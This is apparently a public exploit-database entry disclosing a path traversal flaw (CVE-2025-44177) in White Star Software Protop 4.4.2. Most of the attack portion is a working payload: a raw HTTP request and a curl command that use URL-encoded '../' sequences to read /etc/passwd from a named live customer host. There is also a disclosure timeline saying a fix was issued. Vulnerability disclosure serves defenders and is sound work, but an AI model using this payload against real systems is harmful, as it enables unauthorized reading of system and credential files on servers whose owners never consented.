📄 White Star Software Protop 4.4.2-2024-11-27 Local File Inclusion

# Exploit Title: White Star Software Protop 4.4.2-2024-11-27 - Local File Inclusion (LFI)
    # Date: 2025-07-09
    # Exploit Author: Imraan Khan (Lich-Sec)
    # Vendor Homepage: https://wss.com/
    # Software Link: https://client.protop.co.za/
    # Version: v4.4.2-2024-11-27
    # Tested on: Ubuntu 22.04 / Linux
    # CVE: CVE-2025-44177
    # CWE: CWE-22 - Path Traversal
    
    # Description:
    # A Local File Inclusion vulnerability exists in White Star Software Protop v4.4.2.
    # An unauthenticated remote attacker can retrieve arbitrary files via
    # URL-encoded traversal sequences in the `/pt3upd/` endpoint.
    
    # Vulnerable Endpoint:
    GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
    Host: client.protop.co.za
    User-Agent: curl/8.0
    Accept: */*
    
    # Example curl command:
    curl -i 'https://client.protop.co.za/pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd'
    
    # Notes:
    # - Vulnerability confirmed on public instance at time of testing.
    # - CVSS v3.1 Base Score: 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N)
    # - The vendor was notified and a fix was issued.
    
    # Disclosure Timeline:
    # - Discovered: 2025-03-13
    # - Disclosed to vendor: 2025-03-20
    # - CVE Assigned: 2025-07-01
    # - Public Disclosure: 2025-07-09